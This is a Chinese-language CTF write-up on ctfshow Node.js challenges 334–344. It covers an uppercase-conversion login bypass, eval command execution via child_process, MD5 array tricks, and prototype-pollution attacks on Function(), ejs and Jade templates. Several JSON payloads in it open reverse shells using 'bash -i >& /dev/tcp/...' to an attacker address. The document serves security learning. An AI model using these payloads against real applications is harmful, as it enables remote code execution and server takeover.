前言 :
对Node.js不大懂,好些题知道大致方向却不知道该用什么代码去利用实现,代码功底还是不够,只能学习师傅们的奇技淫巧了。
nodejs 中的漏洞技巧
贴三篇官方文档:
文章目录
require()
用于引入模块、 JSON、或本地文件
// 引入本地模块:
const myLocalModule = require('./path/myLocalModule');
// 引入 JSON 文件:
const jsonData = require('./path/filename.json');
// 引入 node_modules 模块或 Node.js 内置模块:
const crypto = require('crypto');
334——
user.js中有登录的账号密码,但login.js中有段代码
var findUser = function(name, password){
return users.find(function(item){ //匿名函数的调用,向find函数中传递一个匿名函数
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
逻辑是登录的name不能是CTFSHOW但账号明明就是大写的CTFTSHOW。
好在比对name时,调用了toUpperCase() 这个转化成大写的函数,因此我们只要输入小写的ctfshow即可绕过。
ctfshow:123456
羽师傅还有说了一些拓展:
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
335——命令执行
看注释有个:/?eval
。可能是命令执行?
在node.js中执行命令可以引用child_process
模块:
看官方文档中,模块下有好多能执行命令的
一开始想着用exec来实现的eval=require("child_process").exec("ls");
,结果返回
仔细看看文档中的返回值原来是<ChildProcess>
类
看羽师傅的是这样
?eval=require("child_process").spawnSync("ls").stdout.toString()
而调用execSync和execFileSync就可以直接显示:
?eval=require("child_process").execSync("ls")
?eval=require("child_process").execFileSync("ls")
此外看Y4师傅不用require引入模块:
?eval=global.process.mainModule.constructor._load('child_process').execSync('ls')
336——命令执行
尝试用羽师傅的payload发现可以:
?eval=require("child_process").spawnSync("ls").stdout.toString()
用execSync和execFileSync都不行,过滤了exec字符?
看Y4师傅的方法,用拼接
所以['ex'+'cSync']
等效于.execSync
。注意对+
进行URL编码,否则会被认为是空格
require("child_process")['ex'%2b'ecSync']("ls ./app.js/")
Y4师傅还有别的绕过方式,学习一波:
用__filename
读取当前模块文件名
而__dirname
可读目录
还可以用fs(文件系统)模块中的readdirSync读目录、readFileSync读文件
require("fs").readdirSync(".")
require("fs").readFileSync("fl001g.txt")
官方文档是个好东西…
最后看看过滤了什么:exec和load
var express = require('express');
var router = express.Router();
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var evalstring = req.query.eval;
if(typeof(evalstring)=='string' && evalstring.search(/exec|load/i)>0){
res.render('index',{ title: 'tql'});
}else{
res.render('index', { title: eval(evalstring) });
}
});
module.exports = router;
337——特性
在本地搭建服务,将以下代码保存为app.js
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
console.log(a)
console.log(b)
console.log(a+flag)
console.log(b+flag)
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.end("no")
}
});
let app=express()//创建一个 Express应用.
app.use('/',router)//路由规则是app.use(path,router)定义的,router代表一个由express.Router()创建的对象,在路由对象中可定义多个路由规则
app.listen(6666)//监听端口
执行启动服务的命令:
node app.js
方法一:
又是绕MD5的操作,第一反应是利用数组了?a[]=1&b[]=1
可见a和b的值都是['1']
,a+flag的值都是1xxxxxxx
,成功绕过。但需要注意键值一定要相等,键名可以不同
注意对于不同类型的数据是如何处理的:
> console.log([5]+"flag")
5flag
> console.log(['5']+"flag")
5flag
> console.log(5+"flag")
5flag
> console.log("5"+"flag")
5flag
> console.log(['a','b']+"flag")
a,bflag
方法二:
看yu师傅还提到用非数字索引的方法:
?a[x]=1&b[x]=12
将一个非数字索引的数组值跟字符串拼接后会出现:[object Object]
跟字符串拼接的情况
那么这种情况就不需要键值相等了,反正最后都是[object Object]去跟字符串拼接。
所以最后传入md5()中的值都是相等的,所以最后加密的值也会相等!
338——原型链污染
官方文档:继承与原型链
深入理解 JavaScript Prototype 污染攻击
每个实例对象( object )都有一个私有属性(称之为 __proto__ )指向它的构造函数的原型对象(prototype )
当试图访问一个对象的属性时,它不仅仅在该对象上搜寻,还会搜寻该对象的原型,以及该对象的原型的原型,依次层层向上搜索,直到找到一个名字匹配的属性或到达原型链的末尾(null)
每个构造函数(constructor)都有一个原型对象(prototype)
对象的__proto__属性,指向类的原型对象prototype
JavaScript使用prototype链实现继承机制
原型链污染
原型链污染简单来说就是如果能够控制并修改一个对象的原型, 就可以影响到所有和这个对象同一个原型的对象.
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
条件是:secert.ctfshow==='36dboy'
,但utils.copy函数是关键:它会将object1[key] = object2[key]
从而实现原型链的污染!
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
{"username":"aa","password":"aa","__proto__":{"ctfshow":"36dboy"}}
339——原型链污染
预期解:
// routes\login.js
....
utils.copy(user,req.body);
....
// routes\api.js
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
首先了解,不同对象所生成的原型链如下(部分):
var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> null
var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> null
function f(){
return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null
引用feng师傅引用Y4师傅的描述:
因为所有变量的最顶层都是object,当前环境没有y4tacker,它会直接去寻找Object对象的属性当中是否有y4tacker这个键值对是否存在
那么这里就是通过原型链污染query的值,通过给__proto__
赋值污染到query,因为这些变量的最上层直接继承了Object.prototype
,所以会实现污染的效果。
我们往query中构造payload即会在res.render('api', { query: Function(query)(query)});
这段模板渲染的代码中实现RCE,因为query在函数体内执行了。
payload:
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >&/dev/tcp/119.xx.xx.xx/6666 0>&1\"')"}}
值得注意这段payload中 ”套娃“ 了一层bash -c
即两层bash环境,至于为什么没懂,反正直接bash -i
反弹shell不成功
且直接require('child_process')
是不行
Function环境下没有require函数,不能获得child_process模块,我们可以通过使用
process.mainModule.constructor._load
来代替require。
先向/login
发包污染query,再到/api
下发post请求触发RCE。最后到login.js
中查看flag
非预期:
Express+lodash+ejs: 从原型链污染到RCE
XNUCA2019 Hardjs题解 从原型链污染到RCE
因为用到了ejs模板,而该模板有RCE
但是在我们有原型链污染的前提之下,我们可以控制基类的成员。这样我们给 Object 类创建一个成员 outputFunctionName,这样可以进入 if 语句,并将我们控制的成员 outputFunctionName 赋值为一串恶意代码,从而造成代码注入。在污染了原型链之后, 渲染直接变成了执行代码,注入的代码被执行,也就是这里存在一个代码注入的 RCE
payload:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}
340——原型链污染
其他都差不多,只是需要向上两级才能成功污染
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >&/dev/tcp/xx/6666 0>&1\"')"}}}
341——ejs模版RCE
没有了res.render('api', { query: Function(query)(query)});
这样可利用的代码,但因为是ejs模板,用之前的RCE,需要向上两层才能污染:
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/119.29.60.71/4567 0>&1\"');var __tmp2"}}}
然后随便浏览页面就能反弹shell
342、343——Jade模板原型链污染
关于nodejs的ejs和jade模板引擎的原型链污染挖掘
几个node模板引擎的原型链污染分析
考察Jade模版的原型链污染
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xx/6666 0>&1\"');//"}}}
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xx/6666 0>&1\"')"}}}
往/login页面发一个json格式的POST请求,最后再随便浏览页面即可触发。
这里一定要发json格式的:
bodyParser.json(options)
中间件只会解析 json
344——特性
修改一下源码,需要本地测试一下:
var express = require('express');
var router = express.Router();
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
console.log(req.url);
var query = JSON.parse(req.query.query);
console.log(query);
if(req.url.match(/8c|2c|\,/ig)){
res.end('regexp');
}
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
let app=express()//创建一个 Express应用.
app.use('/',router)//路由规则是app.use(path,router)定义的,router代表一个由express.Router()创建的对象,在路由对象中可定义多个路由规则
app.listen(6666)
req.query
这是一个解析过的请求参数对象,默认为{}
举例:
// GET /search?q=tobi+ferret
req.query.q
// => "tobi ferret"
使用 JSON.parse() 方法将数据转换为 JavaScript 对象
首先按理来说应该传入以下字符串:
?query={"name":"admin","password":"ctfshow","isVIP":true}
但本地测试发现req.url是会经过URL编码的,就变成了以下:
?query={%22name%22:%22admin%22,%22password%22:%22ctfshow%22,%22isVIP%22:%22true%22}
但过滤了逗号啊,所以接着想到URL编码,逗号的URL编码是%2C
,也被过滤了,卡这儿了…
这里看师傅们操作是利用JSON.parse()的解析特性:
如果我们分开多个query传值,req.query.query会将所有参数query的值都放在一个数组中,如图中①,接着JSON.parse()解析时会将数组中的元素都拼接起来再解析,这就绕过了逗号的使用,如图中②
所以我们这么传值:
?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
会发现还是不成功,因为双引号的编码跟c凑在一起就是2c,是被ban的字符
再将C进行URL编码成%63即可:
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}